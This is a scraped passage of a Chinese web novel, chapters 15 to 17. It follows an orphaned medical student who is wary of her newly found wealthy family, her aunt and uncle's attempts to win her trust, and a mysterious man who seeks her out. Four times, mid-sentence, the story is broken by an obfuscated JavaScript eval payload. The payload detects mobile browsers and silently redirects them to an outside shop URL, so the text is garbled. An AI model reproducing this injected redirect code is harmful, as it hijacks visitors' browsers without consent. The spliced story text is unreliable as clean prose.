“可我怎么看着,你们之间有些太过生疏了?”明明是久别重逢的血缘至亲,怎么在他们这些外人看来,会是如此的陌生呢? 容若珩思索片刻,道:“大概是,她还不适应吧……所以,还有点距离感。” “这倒也是,孤身一人这么多年,突然冒出来那么多亲属,一时间是有些难以适应,慢慢来就好了。”容若珩对面,孟子衿轻声说道。 “但这毕竟是血缘至亲,还是要一点点拉近距离,不然她怎么适应和你们的生活?总不能她不适应,你们就真一直和她保持距离吧?”齐成玉对孟子衿慢慢来的想法报以支持,但也不免担忧小姑娘一躲到底,与亲人不相往来,人生在世,一个人太难了,总有需要依靠的时候。 容若珩深以为然,却对祝容时很是无可奈何:“眼下除了由着她,也没有别的办法,她很没有安全感,也非常怀疑我们找她回家是否居心不良。” “所以,她是害怕你们的?怕你们目的不纯,别有用心?”孟子衿之前没想到这点,她以为像祝容时这样一个由福利院养大的孤儿,无父无母的她最渴望的或许就是这来之不易的亲情,但却忘了,当一个人渴望已久的东西到来时,很多人的第一反应并不是欢呼雀跃,而是小心谨慎。 祝容时害怕这凭空出现的亲人,害怕他们亲人的外表下藏着不为人知的恶意,所以她和他们保持距离拒绝靠近。 几人对视一眼,不约而同地摇头。 “本来还想着你们关系生疏,我们来和你聊聊会对你有些帮助,但现在看来,我们用处不大。” 容若珩依旧愁眉苦脸:“也不能这么说吧?她要是真害怕怎么还能和我们吵的不可开交?” “越害怕越要虚张声势啊。恐惧和紧张怎么能让人轻易看出来?那不是就露怯了吗?”孟子衿道。 “好了好了,先别纠结这点了,反正从表现来看,她就是害怕的。”齐成玉无奈轻叹:“她既然是害怕你们的,那么你们现在的首要任务,就要先得到她的信任,让她信任你们不会做出任何伤害她的事,这样她才不会害怕你们,远离你们,久而久之,她才能和你们成为亲人。” “她已经是个大人了,对现在的你们而言,信任,远比那一纸亲子鉴定证书和所谓的血缘天性要更重要。” 容若珩拧眉沉思,片刻后他起身,客客气气送客了。 送走同事后,容若珩独自一人呆坐许久,彼此之间没有信任,只凭着亲子鉴定证书上的结果,就真的能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这副模样,真的和她们口中所言,一模一样。 只是他们太着急了,才没能看见她温柔乖巧的模样。 思索间,容若珩收回目光驱车往家行去。 车子扬长而去后,祝容时身边的刘慕青戳了戳她的手臂:“容时容时,你快看,容教授的车。” 阮滢滢翻了个白眼:“你怎么知道那是容教授的车?” 刘慕青满是自豪:“当然是因为我之前观察过啊,豪车可不是什么人都能买得起的。” 祝容时仔细打量那行驶缓慢的车辆,直至看着车辆消失在拐角处才缓缓开口:“这看着和其他车也没多大区别啊?也就配色奇特了点,还没后面那辆粉粉的看着好看呢。” 说着,祝容时抬了抬下巴,示意刘慕青去看,几人一同转头,边上一辆粉色的小电车正缓慢驶过。 刘慕青一噎:“真是,跟你们不识货的对牛弹琴。” 萧语澜道:“不是不识货,就是容教授的那豪车单纯没长在我们的审美上。” 阮滢滢无比赞同:“而且长在审美上的我们也买不起啊,还不如多看看长在审美上的平价的。” 刘慕青深以为然的点了点头:“这倒也是,那等我研究研究,看看啥车咱们能买得起。” 闻言,阮滢滢来了兴趣:“可以可以,那就交给你了。” 交谈间,几人已经到了今晚打算就餐的地方,随着用餐结束,他们的周一也宣告进入尾声。 几个女孩子相约着逛了逛,便就返回了宿舍,不曾在外过多逗留。 15. 15 夜晚九点多,容若珩才终于到了云城容家,他到的时候家中长辈都还在客厅,得知他回返,便都等着他回来。 失散已久的孩子终于找到的消息他们已经得知了,但具体的,还需要问问容若珩。 容若珩驱车停在院子里,将车钥匙交给前来移车的管家,自己长腿一迈走进家中。 他一进门,便和长辈来了个大眼瞪小眼。 容若珩一瞬间有点紧张:“爸,妈,这么晚了,你们还没睡啊?” 容老点点头:“都在等你呢,说说吧,那孩子现在是个什么情况?” 容若珩松了口气:“也没什么特殊情况,就是她有些怕人。” “怕什么?”容老一瞬间有些没听清。 容若珩走到容老身边坐下:“怕人,她一个人在外面长大,对咱们这种家庭背景,有些害怕,怕我们这些突如其来的亲人,对她不怀好意。” 容老恍然大悟:“原来如此,那是得慢慢来,不能急。” 容若珩点点头,一旁保持沉默许久的容夫人却突然想到了什么:“你这急性子,没吓到那孩子吧?” 容若珩一时语噎,容老和夫人一看他那神情,就知道他肯定把那孩子给吓到了,但事已至此,他们再说也晚了,只好耳提面命,让儿子沉稳些别再吓到人。 一番叙话后,才让人去洗漱休息。等儿子离开后,老两口一阵长吁短叹,容夫人拍了拍他的手背:“别担心,过段时间,我去看看瑾瑜,也找个机会,单独见见那个孩子。” 容老无奈轻叹一声:“就这个周末吧,到时候我也一起去。” “好了,天晚了,咱们也早些休息吧。” 宅院归于宁静,唯有外院灯火依旧,直至天明。 周二的课集中在下午和晚上,祝容时早上睡了个天昏地暗,直到午饭时间才醒来。洗漱过后吃过午饭,磨磨蹭蹭一会儿,便到了下午上课的时间。 平静度过一天后,第三天,祝容时再度迎来了容若珩的授课。 容若珩的课依然在早上,一个小时的授课结束之后,容若珩并不像之前一样,对祝容时有多么与众不同,反而十分平淡的转身走了出去。 祝容时平静看着他离开,随后神色淡淡收回目光。人与人之间,本来就是要保持一定距离的,他们之间这样就很好了。 接下来的两日和之前一样,平静无波的度过了,星期五的下午五点半,祝容时背着背包走出学院大门,一辆车便缓慢行驶至近前。 祝容时定睛一看,不出所料,是上周日晚上说,这周五来接她的祝容羲。 她沉吟片刻,在祝容羲温柔的目光中拉开车门上车坐稳,系好安全带后目视前方。 祝容羲看着她的侧颜,不由得展颜一笑,从这个保持沉默的举动看来,其实身边这个女孩,还是蛮可爱的。 车子调转方向,四平八稳朝着来路行驶。祝容时沉默不语,一直看着窗外,渐渐的困意袭来,不知不觉竟睡了过去,不过她并没有睡太久,毕竟是在不熟悉的人身边,因而车子刚停稳,她就醒来了。 见她醒来,祝容羲温声道:“醒了?最近是不是太累了?听舅舅说,医学生的课业都很繁重。” 祝容时摇了摇头:“还好吧,就跟高三生一样,天天背书学习,我虽然对人对事的记性不怎么样,但学习方面的记性还是可以的。” 祝容羲的语气过于温和,这份温和也让她不由自主的想温和对待,所以这一次对话,并没有之前那么针锋相对。 “我有一个问题一直比较好奇,你为什么要选择这一个专业吗?”祝容羲问道。 祝容时不假思索:“因为热爱。” 祝容羲被她这坚定的语气逗笑了,心知她说的绝对不是真话,也没有继续再追问。他眉目舒展,抬手解开安全带,拉开车门下车,而后绕到另一边,率先拉开了祝容时那一侧的车门。 祝容时提着背包,走在祝容羲身侧,稍微落后他一两步。 上一次她来这里是容瑾瑜和祝雅言带她来的,如今是祝容羲带她来的,除了带她来的人不同,这里的一切都没有变化。 注意到她心不在焉,祝容羲转而问道:“爸妈今天晚上有事,大概要很晚才能回来,要不要去休息会儿?” 祝容时咬咬嘴唇,下意识想拒绝,但转念一想,今天是她主动来的,再拒绝会不会不太好? 纠结之余,祝容羲开口调侃:“上次你来的时候,雅言说已经带你去你的房间看过了,几天不来,会不会已经忘了?” 祝容时抬眸看他一眼,依旧没有说话,她紧了紧握着背包肩带的手:“既然他们不在,那就下次再见吧,正好我明天还有事,住在这里不太方便,能麻烦你送我去出租屋吗?” 祝容羲知道现在不可以勉强她留下,于是十分爽快的答应:“不麻烦,可以,不过,你可以先陪我去吃个晚饭吗?” 祝容时抬眸直直看向他的眼睛,思索片刻后点了点头。 二人再度转身出门,祝容羲依旧担当此次出行的司机,载着终于能够和他和谐相处的妹妹前去餐厅用餐。 到了目的地,祝容羲将车停放妥当,边往餐厅电梯走去边问祝容时:“平日里有什么忌口吗?我记得上次你在家里用餐的时候吃得比较少,是那些菜你都不太喜欢吗?” 祝容时摇了摇头:“不是,我不喜欢吃香菜、蒜和茄子。” 而那天晚上的菜好巧不巧,大部分都加了她不喜欢的东西,但她不喜欢的总有人会喜欢,所以她只能尽量避免自己吃到不喜欢的。 祝容羲淡淡的点了点头,什么也没说,点餐的时候也神色如常,直到餐食都送上来的时候,祝容时才发现菜品和图片上不一样,原本用来点缀的香菜都消失不见了。 祝容时见状不由得抬了抬眉,她看向对面的祝容羲轻声道谢。 祝容羲温和一笑,抬手示意:“尝尝看,好不好吃。” 祝容时嗯了一声,神情专注开始品尝,她用餐的速度比较快,不过十多分钟,就停了筷子。 祝容羲习惯细嚼慢咽,但在看到她停下筷子之后便也停了下来:“是不合你口味吗?怎么就吃这么点?” “我习惯了吃快点。”祝容时回道。 闻言,祝容羲定睛一看,看到菜确实少了许多,但仍然不放心的叮嘱她:“以后还是稍微慢一点,吃太快对胃不好。” 坐在他对面的女孩应了一声,随后低头取出手机查看班级群里的消息。 正在她专注时,祝容羲不由得想更了解她一些,便忍不住开口询问:“第一次见面时,你说不喜欢温如这个名字,可以告诉我原因吗?” 祝容时抬眸,将目光从手机屏幕上收回:“因为这个名字给我的感觉太温和了,而你想必也了解了,我的性格注定成为不了这样的人。” “过去的这些年,你一个人一定很辛苦吧?”祝容羲想到第一次见面时竖起全身尖刺严词拒绝他们的女孩,不禁心疼起她的过往。 祝容时神色如常摇了摇头:“不辛苦,过去的日子里,我活的很自在,每一天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548361|204250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都只为了自己,不是为了别的什么,这样一个人的生活,我其实非常满意。” 闻言,祝容羲微微颔首,不再多问了,只拿起桌上的手机对祝容时道:“走吧,送你回出租屋。” 祝容时随即起身:“谢谢,今天晚上麻烦你了。” “不麻烦,”祝容羲道,“对了,明天晚上爸妈在家,你愿意来陪我们吃个晚饭吗?” 这样不显得特别亲近的相处,让祝容时感觉颇为舒适,于是对于祝容羲的提议,她并未拒绝。 祝容羲见她点头应下,便不再多言,包厢门被打开,他侧身让祝容时先行,自己落后一步在她后面。 途经一个拐角处时,一直低头走路的祝容时险些与人撞上,她猛地停下脚步,一句不好意思脱口而出时,她甚至还未来得及抬头看对面的人一眼。 祝容羲急忙上前扶住她的肩,关切询问:“没事吧?” 祝容时摇摇头:“没事,有点晕碳。” 晕碳?祝容羲皱眉,虽然面露不解,却第一时间向对面的人道歉:“抱歉。” 随即一道低沉清冷的声音传来:“无事,走吧。” 最后二字显然不是对他们说的,话音落下,那人转身越过他们二人离去。 感觉这声音有些耳熟,祝容时抬眼看去,只看到一群人的背影,便很快收回了目光。 祝容羲不多做耽搁,扶着祝容时走进电梯往停车场去。 晚上十点半,送祝容时到了出租屋楼下之后,祝容羲便调转车头离去了,他到家之后,和家人说了明天晚上祝容时回来用餐的事,便上楼了,偌大的客厅里只余下被这个消息惊得久久不曾回神的几人。 “这小子怎么知道容时明天晚上回来?”祝盛蹊面露不解。 祝雅言拧眉思索片刻后恍然道:“难怪今天容羲说有事,不和我们一起去参加晚宴,该不会他今天一直和容时在一起吧?” 容瑾瑜点头:“有可能,不然他怎么说的那么肯定。” 祝雅言嗯了一声:“等会儿我问问他。” 做下决定,祝雅言当机立断站起身往电梯走去。 三分钟后,祝雅言叩响了祝容羲的门扉。 祝容羲拉开门,看向门外的祝雅言。 祝雅言笑了一下:“做好准备了吗?接下来我要问你点事情。” 祝容羲抽了抽嘴角,没有说话,侧身把人放进房间里。 登堂入室后,祝雅言也不磨叽,直截了当开口询问:“说说,你今天晚上和谁在一起呢?” 祝容羲挑眉:“不是已经知道了?” 祝雅言故作冷淡:“我要听你自己说。” 祝容羲面露无奈,选择转移话题:“对了,上次她来都没怎么动筷,这次记得,让阿姨做菜的时候不要放香菜和蒜,也不要做茄子。” 闻言,祝雅言才想起上次祝容时来都没有人问过她有没有忌口,一时间不禁有些怔然:“上次都没有人关心过她喜欢吃什么不喜欢吃什么,难怪,她要和我们保持距离……” 祝容羲淡淡道:“别想太多,过去的都不重要,重要的是现在和以后的每一天,多关心她一点就好。” 祝雅言轻叹一声,转而又问:“那水果呢?她有没有什么不喜欢的?” 闻言,祝容羲摇了摇头:“还没问过,不过今天的餐后甜点是蓝莓蛋糕,她挺喜欢的。” 祝雅言哦了一声,转头便离开祝容羲的房间回自己的卧室了。 这一晚就这样在人的平静与期待之中过去了。 16. 16 次日晨起,祝容时照旧收拾了东西去体验馆兼职,今天周六,不是什么特殊节日,所以体验馆里今天只有她和另外一位同样兼职的女孩曲欢。 对这个与她一样同来兼职的女孩,祝容时不怎么了解,既不知道她来自哪里,也不知道她在哪里就读,只知道外表的她看起来活泼爽朗,很好相处。 二人百无聊赖的度过了早上,迎来了中午,午餐时间,曲欢伸了个懒腰凑到祝容时身边:“亲爱的~你一个人守一会儿好不呀?我想出去买点东西。” 祝容时当即点头:“好啊,你放心去吧。” “谢谢!”曲欢兴高采烈跑出去,到门口又转过头来看向她:“回来给你带奶茶。” 祝容时也不和她客气:“好啊!” 曲欢很快便跑没影了,这偌大一间体验馆,此时此刻只余她一人,祝容时把手机放下,打开电脑翻看之前给容瑾瑜和祝雅言拍的照片。 当时拍摄结束后她赶着下班,后续修图是陶瑛和程玉轩弄的,她现在再看,已经完全是成品了,似乎还没有开始制作写真集,祝容时思索间,一通电话不合时宜的打了进来。 静谧的环境里,她被突然响起的手机铃声吓了一跳,捂着扑通乱跳的胸口看向手机屏幕,见是一个来自本地的陌生号码,她拿起手机滑向接听:“你好,请问有什么事?” “容时……” 对面刚开口,祝容时便知道这是谁了:“宣翾?这时候还打电话给我,是我们之间有什么话,还没说清楚吗?” “我只是想不通,我那个时候真的,只是希望你能再好好考虑一下,我没有心存任何恶意,为什么最后,我们会变成这个样子?”宣翾认真考虑了很久,才决定借家里人的手机,最后给祝容时打来这个电话。 谢君尧会认识祝容时是个误会,他把自己的话听岔了,导致意外遇见了祝容时,还在祝容时拒绝之后见猎心喜忍不住想要试探她,最后执意认定她能帮助自己,却在得到了更激烈的拒绝之后仍然不肯死心。 而她也被三言两语挑拨着和他一起试探祝容时…… 可是她虽然试探了她,可她初衷是好的,是真的希望祝容时能好好考虑一下,最好能接受谢君尧的提议。 这样或许在未来的某一天,他们能从朋友成为真正的家人。而且她认为,即使到三年后他们成为不了家人,祝容时以后不必辛苦努力,凭借那三年得到的财产,也能过的很舒服。 可为什么她们最后会走到绝交那一步?仅仅只是因为她的一次试探吗?还是她们之间在她不知道的时候就已经有了裂隙? 祝容时此刻也冷静下来了,她轻叹一声,将心中所想娓娓道来:“你的初衷是怎样的对我而言一点也不重要,重要的是你的哥哥是个骗子,你选择了和他同流合污,你不仅选择自己和他同流合污,还要把我也拖下水,从此和他一起演戏欺骗所有人整整三年。” “我讨厌欺骗,更厌恶这种恶心的事情。他想结婚就认认真真找一个自己喜欢的人,好好谈个恋爱,顺理成章谈婚论嫁;不想结婚就开诚布公和催他结婚的人坐下来好好谈一谈把缘由说清楚,为什么他非要找个人假结婚?” “你不觉得他神经病他脑子有包吗?我选择不和他浪费时间,可你居然还为他鸣不平?为什么?因为在你看来犯神经病的是我,是我蠢是我笨是我不识抬举,居然拒绝了你哥哥给出的优厚条件。” “不可否认,这种事情你无论换哪一个朋友来,她们大多都会对你感恩戴德,但我不是。骗子要先骗过自己,才能成功骗过所有人,很遗憾的我不是骗子,我说不了慌话,也骗不了人。” 话音落下,祝容时把手机从耳边移开,看着通话时间一分一秒的增加,两相沉默,祝容时也不急着挂断电话,继续看电脑屏幕。 不知过去了多久,手机再度传来声音:“对不起,打扰了。” 祝容时神色平静的回了一声:“没关系。” 而后电话挂断,一切也都被斩断了。 她和祝家人保持距离,坚定走自己的路,也和宣翾断了联系,更不会和谢君尧有一丝一毫的牵扯,如此一看,她祝容时已经逃离了原本既定的恶毒女配的剧情,她再一次,走回了自己要走的路上。 心神彻底安定下来,她把手机放在桌上,继续一张一张翻看照片,突然,敞开的门传来声音。她起身看去,见一位衣着得体样貌不凡的男子站在门口,一手曲指置于透明门框,另一手负于身后,清冷的眉目淡淡向她看来。 祝容时有一瞬间的愣神,她怔愣片刻后回神,脸上扬起微笑向门口站着的人走近,步伐停在三步以外:“您好,欢迎光临桃夭体验馆,请问有什么可以帮您?” 那人的目光落在她身上,久久不曾移开,片刻后,他的声音传来:“昨晚,我们见过,以前,也见过。” 祝容时面露困惑,她微微仰头去看,昨夜?见过?她昨夜在回家之前不是一直和祝容羲一起?中间也没有见过什么人啊?若说险些撞到什么人倒是有的,但绝对没有见过,她低着头道歉呢,根本没有抬头。 想到那个拐角突然出现险些被她撞到的人,祝容时倒是有了些许印象,不过,她都没有抬头,这人是怎么知道是她的?而且还准确找来了这里?难道又是狗血的偶像剧情?至于他口中的以前见过?是多久以前?她怎么一点印象也没有? 祝容时有些尴尬的笑了笑:“您是在开玩笑吧?” 那人却认认真真道:“不是玩笑,之前给过你,我的名片。” 祝容时更疑惑了:“名片?”她什么时候收过这种东西? “你忘了。”那人神色淡淡,眉眼略微低垂,祝容时不知为何,竟然会觉得眼前人似乎有些伤感,但她实在想不起来什么时候收过谁的名片。 祝容时的忘性比较大,很多她觉得没必要记住的事情没过几天就会全部忘记,生活里的经历她能记住的只有她想记住的、和对她而言有意义的。当然,学习方面的都除外,那些都是不能忘的,那要是忘了她以后吃饭都成问题。 很快,眼前人调整好情绪,再次取出一张名片递到她面前。 祝容时抿抿唇,抬手接过,霎时间,一个有些印象的名字映入眼帘。 “顾星河……”她低声念出这个名字,脑海中很突兀的想起了之前在公园里调试设备的时候,出现在她画面中又被她刻意撇去的人。 那时在公园里,他行至近前,递给她一张名片,她想起来了,那张名片被她放在最下层的抽屉里积灰了。 耳尖不自觉红了起来,拿过名片的手指也不自觉用力,她将名片放在衣服口袋里,然后将人请了进来,待其落座之后端来一杯热茶。 随后颇有些尴尬的坐在他对面的沙发上:“不好意思,我这个人比较健忘,很多人很多事不是特别重要的三五天就全忘了,对了,我上次有和你说过我的名字吗?” 顾星河有一瞬间的呆滞,显然是被祝容时这出乎意料的记性震惊到了,片刻后,他低低嗯了一声:“说过。” 祝容时点点头,哦了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548362|204250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声,转而又问:“顾先生对古代服装有兴趣吗?” 顾星河淡淡道:“没有。” 祝容时语塞,一时不知道该说什么,心里却想没有兴趣那你进来干嘛? 顾星河看着她的眼神微微一变,祝容时有那么一瞬间,觉得眼前此人洞悉了她内心的想法。 果不其然,很快,他开口了:“知道你在,来看看。” 祝容时浑身一僵,所以是对她感兴趣?她有哪里和别人不一样吗?居然会让这种人对她感兴趣? 她尴尬的哦了一声,算是回应,然后干巴巴的扯开话题,秉承着来者是客的想法,她开口道:“古代服装蕴藏着很深厚的文化底蕴,顾先生如果有时间的话,不妨深入了解一下?” 顾星河看着眼前强忍尴尬与她搭话的女孩,垂眸思索片刻:“婚服。” 祝容时闻言,心神略微放松,她取过店里的平板解锁,找出各朝各代的婚服图片后放在顾星河面前:“各朝各代的婚服都不一样,顾先生可以看看,后期如果有需要想了解,可以带着您的朋友来店里上身体验一下。” 顾星河嗯了一声,指节分明的手拿起平板很是随意的划拉了几下,祝容时坐在他对面,不知是不是错觉,她觉得顾星河偶尔会抬眸看她。 寂静无声的过了几分钟后,门外传来一声呼唤:“老板,时间快到了。” 声音传来,顾星河应了一声,放下平板起身,而后又似乎想起了什么一般回过头来看向她:“和我联系。” 祝容时一僵,她下意识道:“没必要吧?” “有必要。”顾星河看着她的眼神专注极了。 祝容时觉得,她和眼前这人一看就是那种没必要产生什么联系的人,可看着顾星河认真的神色,她还是点了点头:“好。” 然后当面拿出手机,取出口袋里的名片照着上面的数字一个一个输入,随后拨出,对面的手机铃声响了起来,顾星河拿出一看,这才放心离去。 在顾星河与店门外的人离开后,祝容时才松了口气,她心神放松下来,也有力气吐槽了:“这人该不会和宣翾她哥一样有病吧?” 这么一想,她抖了抖身上的鸡皮疙瘩,随手给号码备注了名字,就把手机扔一边不管了,继续坐回去看电脑。 而另一边,顾星河坐在车里看着手机屏幕这一串陌生的数字,不自觉眉目舒展。 前面开车的的司机有些好奇的询问:“先生,您喜欢这位祝小姐啊?” 顾星河没说话,司机自顾自接着道:“您若是喜欢她,家里边也可以早作准备。” “嗯。”顾星河道,“不着急。” 话音落下,他将号码保存置顶。 车辆隐入车流,一个转弯后消失不见。 时间缓慢流逝,很快便到了下午一点,快一点半的时候,曲欢拎着大包小包的收获回来了,她一见到祝容时,便将袋子里一杯热奶茶放在她面前:“这是这家的新品,给你要的半糖。” 祝容时抬手接过包装袋:“谢谢,那我不客气啦。” “客气啥?”曲欢边说边把买来的东西放在桌上,蹲下便开始整理,“好啦,接下来的一个小时交给我,你去休息吧,还是你也想出去逛逛?” 祝容时摇摇头:“不了,我去里面睡会儿,有事你喊我一声。” 曲欢边整理东西,边回应祝容时:“好,你安心休息,要是叫不醒你我会打电话的。” 闻言,祝容时应了一声,拿过电脑旁边的手机,转身往休息室里走去。 17. 17 周六的下午并没有发生什么特殊的事情,很平静的便过去了,下午五点,二人不约而同开始收拾东西,曲欢先她一步,她拿起手机和电动车钥匙冲祝容时晃了晃:“姐妹,我先走一步啦?” 祝容时笑着点头:“拜拜,明天见。” “嗯,明天见。”话音未落,曲欢便已经跑出去了。 祝容时把背包放在沙发上,拿着手机百无聊赖的刷短视频,五点半一到,她准时起身,拿着包离开然后关门落锁。 再一转身,一串有些眼熟的车牌号映入眼帘,但她不太肯定,扫了一眼便很快收回视线,转身走下台阶,往不远处的公交站台走去。 不过她还没走几步,手机铃声便响了起来。 她抬手一看,祝容羲三个字映入眼中。同时,身后原本在车上老神在在坐着的人打开车门下车。 祝容时转身看去,在见到熟人时松了一口气。 “还好我电话拨出得及时,不然就接不到你了……”祝容羲感觉有些哭笑不得,他以为祝容时能记住这辆车,才没有换别的车来接她,结果没想到,这女孩没认出来,有些让他出乎意料。 在他说话时,祝容时已经提步向他走去,耳朵泛着一抹尴尬的红:“不好意思,我不怎么关注车辆,虽然觉得车牌号有些熟悉,不过不确定的情况下不会贸然去看,怕别人误会。这样,我拍个照,以后看到这车牌号就知道是你了。” 祝容羲轻笑,语气温柔的调侃:“看来以后接你不能换车了,不然容易接不到人。” 祝容时轻笑了笑,点开相机对着车拍了个照片,随即晃了晃拿着手机的手。 祝容羲退开一步,拉开后座的车门,示意祝容时上车,在她落座后关闭车门,驱车离去。 车辆行驶平稳,不过半个小时便到了目的地,祝容时拉开车门下车,动作竟莫名与祝容羲一致,她怔愣片刻,随即回身关闭车门,在祝容羲身后仿佛客人一般再次进入这个家中。 而此时,时间才刚到下午六点。 祝容时第一次来时,身边的人是这具身体的母亲容瑾瑜和姐姐祝雅言,在这里见到了父亲祝盛蹊,彼时祝容羲在祝盛蹊身侧。 第二次再来便是昨日,这个大厅里空无一人。 如今这是第三次,这一次除了父母和姐姐,以及她的授课教师容若珩,还有两位不曾见过的老人,她平静的目光掠过沙发上坐着的每一个人,却没有在任何人身上停留,似乎是在看陌生人一般。 祝容羲见她神色淡然,心下暗暗一惊,不由得想到,他们和祝容时本就还不算熟悉,这时候两位老人突然前来,会不会吓到她…… 但现在说这个似乎有些晚了,于是他很快整理好表情,轻轻握住祝容时的手,带着她走近两位老人,开口介绍:“容时,这是外公和外婆。” 祝容时有一瞬间的僵硬,熟悉的称谓在耳边响起,她怔怔看着两位老人,脑海中却想起了从前生到如今,始终不肯忘记的人和事。 她和前生的自己模样并不相似,如此想来,眼前的两位老人,也和前生她的外公外婆并不相像…… 她定了定神,平静如常的开口,想说些什么,但她皱眉思索了一会儿,仍然想不起来有什么合适的言辞。 她该说什么呢?她适合说出什么话吗?还是该再度开口,唤出那两个前生今世近三十年不曾唤过的称呼?对着眼前两位陌生的老人,她能唤出口吗? 祝容时不知道,她这一会儿的迟疑,让一旁的众人把心都提了起来。 祝盛蹊紧了紧握着容瑾瑜的手,面上不露声色,心里却一阵一阵发慌,容瑾瑜放缓了呼吸,挣开祝盛蹊的手,身体前倾站起身想把那个看起来无措沉默的女孩护在身后。 下一瞬,她平静中略带一丝紧张的声音传来:“很抱歉,我还不能接受……这些称呼,我这一生还从来没有叫过,不好意思。” 祝容时迟疑过后,便平静的将这些话脱口而出,她不在意这些人听到她的话会怎么想,她只要最终结果是和自己所想的大差不差就行。 果不其然,眼前的两位老人深深看了她一眼后,略略松了口气,容夫人道:“没有关系,是我们来的突然,吓到你了。” 祝容时摇了摇头:“没有,我能理解你们的心情,但理解和接受不是一回事,这些事太突然,我现在接受不了。” 容老听闻,没好气的瞪了对面沉默寡言的容若珩一眼,随即转向祝容时,眼神已变得温柔和蔼:“没事,以后年岁还长,我们等你慢慢接受,不过以后,我和你外婆能经常来看你吗?毕竟我们年纪大了,剩下的时间大概也不多了。” 话音落下,祝容时的心里却仿佛遭受了一锤重击,生老病死是每个人一生必经之事,她明明也激烈而决绝的走向死亡,可为什么听到这样的话,还是会觉得痛苦? 她眼眶微红,心不自觉软的一塌糊涂,语气微颤:“不会,您们一定会长命百岁的。” 容夫人红着眼眶,连连点头道好:“那我和你外公努努力,尽量活的久一点、活的久一点。” 原本令众人紧张不已的画面,分明他们只是初见,彼此还很陌生,此时此刻却已经有脉脉温情流露出来。 一旁,容瑾瑜抬手擦去眼中溢出的泪珠,笑着上前轻轻把手搭在祝容时身上:“好了好了,容时才刚结束兼职回来,肯定很累了,快坐下休息会儿。” 容夫人急忙伸手握住祝容时的微凉的手指:“坐这儿。” 她一边说,一边把祝容时拉到身侧。 祝容时没有拒绝,顺势坐下,目光流转再度看过这客厅的每一个人,见他们都满脸温柔,不禁心生不适。 她轻轻挣开了容夫人的手,紧紧握住了自己的手机。 容夫人手中一空,心中有些失落,但很快便调整好,把手放在腿上,是一个十分优雅的姿势。 “这周一的时候,我们才知道他们找到了你,一直都很想见见你,今天突然过来,也是为了和你见一面,没别的意思,没吓到你吧?”容夫人道。 祝容时摇摇头,表示理解:“不会。”离散多年的孩子突然被找到,只要是有点关系的亲属,都会想来看看的,这点她明白。 “我们听若珩说,他是在课上看见你的。”说起这事儿,容老就有点好奇,在祝容时来前,他就在听女儿容瑾瑜和他们说关于她的事,事情还没说完呢,人就到了,话题自然也是戛然而止。 闻言,容若珩赶紧坐直了身子看向祝容时。 而祝容时在容老话音落下之后,转头瞄了容若珩一眼,好巧不巧视线正好对上,祝容时率先移开眼去,她整理了一下思绪,然后坦坦荡荡地开口把所有事情始末都说了出来:“第一天和容教授在课堂上见面,第二天容教授就来学校食堂找我了,我对陌生人很抵触,亲子鉴定是拔了头发让教授自己去的,我本人对结果不感兴趣。” “那后面结果出来,有没有发生什么特别的事?”容老满是好奇的追问,虽然才第一次见面,但他直觉,这女孩一定戒备心强,性情刚烈。 “我脾气不好,警惕性强,容教授拿着鉴定结果来找我的时候,我只觉得那份鉴定结果是他伪造来骗我的,我觉得我不可能会和容教授这样的人扯上联系。” 话开了头,祝容时就直截了当把自己当时心里的想法都挑明了说:“一个在福利院里长大的孤儿,突然有一天冒出一群家世显赫的亲人,是个人都会忍不住去想,这些所谓的亲人,他们突然出现,是在图谋我什么呢?是我这个人,还是我的性命?” “一个孤儿,无论什么时候在这个世上消失,只要他们把痕迹抹去得足 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548363|204250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 够干净,就不会引起任何怀疑,大家都会以为这个世界上从来没有过这个人,她从未存在过。” “我害怕,想摆脱这些亲人,而那个时候,容教授的独断和对我的不尊重,正好给了我发泄情绪的理由,我就在宿舍楼前把事情闹大,让所有学生都注意到,然后,我成功吓退了他们。” 不过结果还是有点出乎意料,她没有想到,祝容羲会把他家里人的资料交给她,把选择权也交给她…… 她翻看了那些资料,又从梦中得到了很多信息,知道了这些人不会伤她性命,才肯一点点慢慢接近。 话说完,众人不约而同选择沉默,他们谁也没有想到,最初的迫切在这个女孩看来,是如此的可怖。 祝盛蹊和容瑾瑜对视一眼,颇感无奈的摇了摇头。 祝雅言看着容若珩的目光有一瞬间的变化,这被容若珩捕捉到了,他没好气瞪了祝雅言一眼,但没开口说话。 